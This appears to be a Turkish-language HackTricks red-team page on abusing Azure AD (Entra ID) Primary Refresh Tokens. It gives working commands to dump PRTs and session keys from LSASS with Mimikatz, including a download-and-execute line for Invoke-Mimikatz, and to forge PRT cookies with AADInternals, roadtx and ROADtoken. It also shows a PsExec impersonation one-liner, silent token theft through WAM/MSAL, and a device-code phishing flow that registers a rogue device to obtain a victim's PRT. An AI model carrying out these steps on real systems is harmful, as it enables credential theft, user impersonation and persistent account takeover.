Az - Primary Refresh Token (PRT)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bir Primary Refresh Token (PRT) Nedir?

Bir Primary Refresh Token (PRT), Azure AD (Entra ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT’ye benzer. Azure AD’ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini yeniden istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir oturum anahtarı (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT’ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT’nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı jeton talep edilirken PRT’yi içeren bir JWT’yi imzalamak için kullanılır. Diğer bir deyişle, yalnızca PRT’ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır; bu, kimlik doğrulama için hem Kerberos TGT’ye hem de oturum anahtarına ihtiyaç duymaya benzer.

Windows’ta, PRT ve oturum anahtarı, CloudAP eklentisi aracılığıyla LSASS sürecinde önbelleğe alınır. Bir cihazda bir TPM (Trusted Platform Module) varsa, Azure AD anahtarları ekstra güvenlik için TPM’ye bağlar. Bu, TPM ile donatılmış cihazlarda oturum anahtarının, normal koşullar altında bellekten doğrudan okunamayacak şekilde TPM içinde saklandığı veya kullanıldığı anlamına gelir. Eğer bir TPM mevcut değilse (örneğin, birçok VM veya eski sistemlerde), anahtarlar yazılımda saklanır ve DPAPI şifrelemesi ile korunur. Her iki durumda da, makinede yönetici ayrıcalıklarına veya kod yürütme yeteneğine sahip bir saldırgan, PRT ve oturum anahtarını bellekten dökme girişiminde bulunabilir ve ardından bunları bulutta kullanıcıyı taklit etmek için kullanabilir. Tipik yenileme jetonlarının (genellikle uygulama spesifik olan) aksine, bir PRT daha geniştir ve cihazınızın neredeyse her Entra ID entegre kaynağı veya hizmeti için jeton talep etmesine olanak tanır.

PRT Nasıl Çalışır?

PRT’nin nasıl çalıştığını basit bir şekilde özetleyelim:

  1. Cihaz Kaydı:

  • Cihazınız (bir Windows dizüstü bilgisayarı veya mobil telefon gibi) Entra ID’ye katıldığında veya kaydolduğunda, kimlik bilgilerinizi (kullanıcı adı/şifre/MFA) kullanarak kimlik doğrulaması yapar.

  • Başarılı kimlik doğrulamanın ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir.

  1. Jeton Depolama:
  • PRT, cihazınızda güvenli bir şekilde saklanır ve genellikle yetkisiz kişilerin çıkarmasını veya kötüye kullanmasını zorlaştıran Trusted Platform Module (TPM) gibi donanım özellikleriyle korunur.
  1. Tek Oturum Açma (SSO):

  • Her seferinde Entra ID korumalı bir uygulamaya (örneğin, Microsoft 365 uygulamaları, SharePoint, Teams) eriştiğinizde, cihazınız sessizce saklanan PRT’yi kullanarak o uygulama için belirli bir erişim jetonu talep eder ve alır.

  • Kimlik bilgilerinizi tekrar tekrar girmenize gerek yoktur çünkü PRT, kimlik doğrulamayı şeffaf bir şekilde yönetir.

  1. Yenileme ve Güvenlik:

  • PRT’lerin uzun bir ömrü vardır (genellikle yaklaşık 14 gün), ancak cihazınız aktif olarak kullanıldığı sürece sürekli olarak yenilenir.

  • Cihazınız tehlikeye girerse veya kaybolursa, yöneticiler PRT’nizi uzaktan iptal edebilir ve yetkisiz erişimi hemen engelleyebilir.

PRT’ler Neden Güçlüdür?

  • Evrensel Erişim: Tipik jetonların bir uygulama veya kaynakla sınırlı olmasının aksine, bir PRT tüm Entra ID entegre hizmetlerine erişimi kolaylaştırabilir.

  • Gelişmiş Güvenlik: Donanım korumaları (TPM gibi) ile birlikte, PRT’ler güvenli jeton depolama ve kullanımını sağlar.

  • Kullanıcı Deneyimi: PRT’ler, sık kimlik doğrulama istemlerini azaltarak ve gerçek kesintisiz SSO’yu mümkün kılarak kullanıcı deneyimini önemli ölçüde iyileştirir.

PRT’nin mevcut olup olmadığını nasıl anlarız?

  • PRT’nin mevcut olup olmadığını kontrol edin:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • TPM ile korunup korunmadığını kontrol et:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

PRT’yi Geç

Windows cihazlarında TPM bağlaması olmadan bu gönderiye göre, PRT ve oturum anahtarı LSASS’ta (CloudAP eklentisi) bulunur. O cihazda yerel admin/SYSTEM ile, PRT blob’u ve DPAPI ile şifrelenmiş oturum anahtarı LSASS’tan okunabilir, oturum anahtarı DPAPI ile çözülür ve geçerli bir PRT çerezi oluşturmak için imza anahtarı türetilir (x‑ms‑RefreshTokenCredential). Hem PRT’ye hem de oturum anahtarına ihtiyacınız var; yalnızca PRT dizesi yeterli değildir.

Mimikatz

  1. PRT (Birincil Yenileme Token’ı) LSASS’tan (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) çıkarılır ve sonraki kullanım için saklanır.
  2. Oturum Anahtarı daha sonra çıkarılır. Bu anahtar başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelendiği için, bir DPAPI anahtarının kullanılarak çözülmesi gerekmektedir. DPAPI (Veri Koruma API’si) hakkında ayrıntılı bilgiye bu kaynaklarda ulaşabilirsiniz: HackTricks ve uygulamasını anlamak için Çerezi geçme saldırısına bakabilirsiniz.
  3. Oturum Anahtarı çözüldükten sonra, türetilen anahtar ve PRT için bağlam elde edilir. Bunlar PRT çerezinin oluşturulması için kritik öneme sahiptir. Özellikle, türetilen anahtar, çerezi oluşturan JWT’yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır ve buradan erişilebilir.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

PRT alanı, şifrelenmiş yenileme jetonunu (tipik olarak base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64).

Daha sonra, sekurlsa::cloudap çıktısından, ProofOfPossessionKey alanındaki KeyValue içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz – sistemin DPAPI kimlik bilgileri kullanılarak şifre çözülmelidir.

Çünkü sistem sırları için DPAPI şifrelemesi, makinenin sistem bağlamını gerektirir, jetonunuzu SYSTEM olarak yükseltin ve Mimikatz’in DPAPI modülünü kullanarak şifreyi çözün:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate SYSTEM’ı taklit edecek ve dpapi::cloudapkd komutu /unprotect ile sağlanan KeyValue blob’unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve imzalama için kullanılan ilişkili Türemiş Anahtar ve Bağlamı sağlar:

  • Açık anahtar – düz metin olarak 32 baytlık oturum anahtarı (hex dizesi olarak temsil edilir).
  • Türemiş Anahtar – oturum anahtarından ve bir bağlam değerinden türetilen 32 baytlık anahtar (bununla ilgili daha fazla bilgi aşağıda).
  • Bağlam – PRT çerezi için imzalama anahtarını türetirken kullanılan 24 baytlık rastgele bağlam.

Note

Eğer bu, kullanıcıyı taklit etmek için işe yaramıyorsa, AADInternals kullanarak aşağıdaki bölümü kontrol edin.

Ardından, geçerli bir PRT çerezi oluşturmak için mimikatz’ı da kullanabilirsiniz:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz, “Signature with key” satırından sonra PRT’yi içeren ve türetilmiş anahtar kullanılarak imzalanmış bir JWT (PRT cookie) çıktısı verecektir. Bu JWT kopyalanabilir ve bir web oturumunda kullanılabilir. Örneğin, bir saldırgan bir tarayıcı açabilir, login.microsoftonline.com adresine gidebilir ve değeri bu JWT olan x-ms-RefreshTokenCredential adlı bir çerez ayarlayabilir. Tarayıcı yenilendiğinde veya başka bir sayfaya gittiğinde, Azure AD oturumu kimlik doğrulanmış olarak kabul eder (PRT çerezi SSO gerçekleşmiş gibi sunulur) ve belirtilen kaynak için bir yetkilendirme kodu veya erişim belirteci verir. Pratikte, Office 365 veya Azure portalı gibi bir kaynağa gidilir; geçerli bir PRT çerezinin varlığı, Azure AD’nin ek bir giriş olmadan erişim vereceği anlamına gelir (MFA’yı atlayarak, çünkü PRT zaten kimlik doğrulanmıştır).

Ayrıca, kullanıcıyı taklit etmek için PRT çerezinin PRT’si ile roadtx ve roadrecon kullanılabilir (TODO: roadtx/roadrecon kullanarak PRT’den kimlik bilgilerini almak için kullanılacak tam komut satırlarını bul).

Mimikatz + AADInternals

AADInternals PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, nonce ile yeni bir PRT belirteci elde etme sürecini otomatikleştirmek için yararlıdır; bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak için kullanılabilir:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Bu, yeni bir PRT çerezi (nonce ile) alır ve ardından bunu Azure AD Graph API için bir erişim belirteci almak üzere kullanır (kullanıcı adına bulut erişimini gösterir). AADInternals, kriptografinin çoğunu soyutlar ve arka planda Windows bileşenlerini veya kendi mantığını kullanır.

Mimikatz + roadtx

  • Öncelikle PRT’yi yenileyin, bu roadtx.prt dosyasına kaydedilecektir:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Artık roadtx browserprtauth ile etkileşimli tarayıcı kullanarak token talep edebiliriz. roadtx describe komutunu kullanırsak, erişim tokeninin bir MFA talebi içerdiğini görürüz çünkü bu durumda kullandığım PRT de bir MFA talebine sahipti.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Mimikatz tarafından dökülen bağlam ve türetilmiş anahtar ile, roadrecon kullanarak yeni bir imzalı çerez oluşturmak mümkündür:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Korunan PRT’lerin Suistimali

Belirtilen korumalara rağmen, bir cihazı (yerel bir kullanıcı veya hatta SYSTEM olarak) zaten ele geçirmiş bir saldırgan, Windows’un kendi token broker API’lerini ve güvenlik bileşenlerini kullanarak yeni erişim token’ları elde etmek için PRT’yi suistimal edebilir. Saldırgan, ham PRT veya anahtarı çıkarmak yerine, aslında Windows’tan PRT’yi kendi adına kullanmasını “ister”. Aşağıdaki bölümlerde, TPM korumalarının geçerli olduğu güncel Windows cihazlarında PRT’leri ve oturum anahtarlarını suistimal etmek için geçerli teknikleri özetliyoruz. Tüm bu teknikler, hedef makinede post-exploitation erişimi varsayar ve yerleşik kimlik doğrulama akışlarını suistimal etmeye odaklanır (yamanmamış güvenlik açıklarına ihtiyaç yoktur).

Windows Token Broker Mimarisi ve SSO Akışı

Modern Windows, bulut kimlik doğrulamasını yerleşik bir token broker yığını aracılığıyla yönetir; bu, hem kullanıcı modunda hem de LSASS (Yerel Güvenlik Otoritesi) içinde bileşenler içerir. Bu mimarinin ana parçaları şunlardır:

  • LSASS CloudAP Eklentisi: Bir cihaz Azure AD’ye katıldığında, LSASS PRT’leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemleri gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, oturum anahtarı ile bir PRT talebini imzalamak).

  • Web Hesap Yöneticisi (WAM): Windows Web Hesap Yöneticisi, uygulamaların veya tarayıcıların kimlik bilgilerini istemeden bulut hesapları için token talep etmelerine olanak tanıyan bir kullanıcı modu çerçevesidir (COM/WinRT API’leri aracılığıyla erişilebilir). WAM, kullanıcı uygulamaları ile güvenli LSASS/TPM destekli PRT arasında bir broker olarak işlev görür. Örneğin, Microsoft’un MSAL kütüphanesi ve belirli işletim sistemi bileşenleri, oturum açmış kullanıcının PRT’sini kullanarak sessizce token almak için WAM’ı kullanır.

  • BrowserCore.exe ve Token Broker COM arayüzleri: Tarayıcı SSO’su için Windows, BrowserCore.exe adında bir bileşen içerir ( Windows Security\BrowserCore altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token’ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisayarıdır. Arka planda, BrowserCore, MicrosoftAccountTokenProvider.dll tarafından sağlanan bir COM nesnesini kullanarak PRT tabanlı bir çerez/token alır. Temelde, bu COM arayüzü, kullanıcı olarak çalışan herhangi bir sürecin SSO token’ı almak için çağrabileceği birinci taraf “token broker” API’sidir (kullanıcının LSASS’ta geçerli bir PRT’si olduğu sürece).

Bir Azure AD katılımcısı bir kaynağa erişmeye çalıştığında (örneğin, Azure Portal), akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore’un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir SSO token’ı üretir - genellikle PRT çerezi olarak adlandırılır - bu da uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT’dir ve PRT’nin oturum anahtarından türetilen bir anahtarla imzalanır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT’ye sahip olduğunu kanıtlamak için Azure AD’ye (bir x-ms-RefreshTokenCredential başlığı içinde) gönderilir ve Azure AD’nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token’ları vermesine olanak tanır. Özellikle, PRT’de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token’lara taşınır; bu da PRT türetilmiş token’ların MFA korumalı kaynakları karşılayabileceği anlamına gelir.

Kullanıcı Düzeyinde Token Hırsızlığı (Yönetici Olmayan)

Bir saldırganın kullanıcı düzeyinde kod yürütmesi olduğunda, PRT’nin TPM koruması, saldırganın token’ları elde etmesini engellemez. Saldırgan, yerleşik Windows Token Broker API’lerini kullanır:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore, PRT çerezlerini almak için bir COM sınıfı (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) sunar. Bu COM API’si, Azure AD SSO’su için tarayıcılar (Chrome/Edge uzantıları) tarafından meşru bir şekilde çağrılır.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Azure AD yenileme belirteci veya PRT çerezi döner)

ROADtoken, doğru dizinden BrowserCore.exe çalıştıracak ve bunu PRT çerezi elde etmek için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve kalıcı bir yenileme belirteci elde etmek için kullanılabilir.

Geçerli bir PRT çerezi oluşturmak için ihtiyacınız olan ilk şey bir nonce’dur.
Bunu şu şekilde alabilirsiniz:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Veya roadrecon kullanarak:

roadrecon auth prt-init

Sonra yeni bir PRT almak için roadtoken kullanabilirsiniz (saldırı için kullanıcının bir sürecinden aracı çalıştırın):

.\ROADtoken.exe <nonce>

Bir satırlık:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ardından oluşturulan çerezi kullanarak jetonlar üretebilir ve Azure AD Graph veya Microsoft Graph kullanarak giriş yapabilirsiniz:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) API’leri

Saldırganlar, kullanıcı düzeyindeki süreçlerden TPM korumalı PRT’yi kullanarak sessizce token almak için meşru Microsoft kimlik doğrulama kütüphanelerini (MSAL, WAM API’leri, WebAuthenticationCoreManager) kullanır.

execute-assembly aadprt.exe

(PRT çerezini COM arayüzleri aracılığıyla alır)

execute-assembly listwamaccounts.exe

(WAM aracılığıyla oturum açmış Azure AD hesaplarını listeler; token hedeflerini tanımlar)

  • Genel Örnek (MSAL ile PowerShell):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Sessizce PRT’yi kullanarak bir erişim belirteci alır)

Yönetici / SYSTEM Düzeyinde Belirteç Suistimali

Saldırgan Yönetici veya SYSTEM seviyesine yükselirse, doğrudan herhangi bir Azure AD oturum açmış kullanıcıyı taklit edebilir ve aynı COM/WAM token broker API’lerini kullanabilir. TPM korumalı PRT’ler bu meşru belirteç verilmesini engellemez.

Kullanıcı Taklidi ve Belirteç Alma

Admin/SYSTEM, belirteç üretimi için BrowserCore veya WAM’ı çağırmak üzere diğer kullanıcıların çalışan oturumlarını taklit edebilir.

Bunun için sadece kullanıcı sürecini taklit edin (örneğin, explorer.exe) ve önceki bölümde yorumlanan herhangi bir teknikle belirteç broker API’lerini çağırın.

Doğrudan LSASS & Belirteç Broker Etkileşimi (İleri Düzey)

Bir yönetici, PRT’yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS’a kod enjekte edebilir veya LSASS’ın bir belirteç üretmesini sağlamak için iç CloudAP işlevlerini çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS’taki PRT anahtarlarıyla kripto API’leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, bir PRT çerezi oluşturmak için LSASS’ın kendi işlevlerini (mevcutsa API hooking veya RPC gibi bir teknik aracılığıyla) kullanmak anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir – örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut belirteç tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme belirteçlerini önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırganu, belirli uygulamalar için yenileme belirteçlerini doğrudan çalmak amacıyla bu DPAPI korumalı belirteçleri çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD’nin taze belirteçler (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş belirteç broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir.

PRT’yi Phishing

OAuth Cihaz Kodu akışını Microsoft Authentication Broker istemci kimliği (29d9ed98-a469-4536-ade2-f981bc1d605e) ve Cihaz Kaydı Servisi (DRS) kaynağını kullanarak bir yenileme belirteci elde etmek için suistimal edin; bu belirteç, bir sahte cihaz kaydedildikten sonra bir Birincil Yenileme Belirteci (PRT) ile yükseltilebilir.

Neden bu işe yarıyor

  • PRT cihaz bağlıdır ve (neredeyse) her Entra korumalı uygulama için SSO’yu etkinleştirir.
  • Broker istemci + DRS kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen yenileme belirtecinin PRT ile değiştirilmesine olanak tanır.
  • MFA atlanmaz: kullanıcı, phishing sırasında MFA gerçekleştirir; MFA talepleri sonuçta elde edilen PRT’ye yayılır ve saldırgana uygulamalara daha fazla istem olmadan erişim sağlar.

Gereksinimler:

  • Cihaz Kodu aracılığıyla Kullanıcı kimlik doğrulaması, Broker istemci kimliği (29d9ed98-a469-4536-ade2-f981bc1d605e) ve DRS kapsamı/kaynağı (örneğin, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default veya https://enrollment.manage.microsoft.com/).
  • Kullanıcı, Entra ID’de cihazları kaydedebilir (varsayılan: izinli, ancak kısıtlanabilir veya kota sınırlı olabilir).
  • Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur veya uyumlu/hybrid cihazlar gerektiren politikalar yoktur (bunlar PRT verilmesini durdurmaz, ancak korunan uygulamalara erişim için kullanılmasını engeller).
  • Saldırgan kontrolündeki bir ana bilgisayar, akışı çalıştırmak ve belirteçleri/cihaz anahtarlarını tutmak için.

Saldırı Akışı:

  1. client_id = Broker ve DRS kapsamı/kaynağı ile Cihaz Kodu kimlik doğrulamasını başlatın; kullanıcı kodunu kurbanın önüne getirin.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

  1. Kurban, Microsoft’un sitesine giriş yapar (legit UI) ve MFA’yı tamamlar → saldırgan, Broker istemcisi için DRS kapsamlı bir refresh token alır.

  2. O refresh token’ı kullanarak kiracıda sahte bir cihaz kaydı yapın (cihaz nesnesi oluşturulur ve kurbana bağlanır).

  3. Refresh token + cihaz kimliği/anahtarları değiş tokuş ederek PRT’ye yükseltin → PRT, saldırganın cihazına bağlıdır.

  4. (Opsiyonel kalıcılık): Eğer MFA yeni ise, uzun vadeli, şifresiz erişim sağlamak için Windows Hello for Business anahtarı kaydedin.

  5. Kötüye kullanma: Kullanıcı olarak Exchange/Graph/SharePoint/Teams/özel uygulamalar için erişim token’ları elde etmek amacıyla PRT’yi kullanın (veya PRT çerezi oluşturun).

Kamu Araçları ve Kanıt-of-Kavramlar

  • ROADtools/ROADtx: OAuth akışını, cihaz kaydını ve token yükseltmelerini otomatikleştirir.
  • DeviceCode2WinHello: Cihaz kodu phishing’den PRT+WHfB anahtarlarına otomatikleştiren tek komutlu script.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin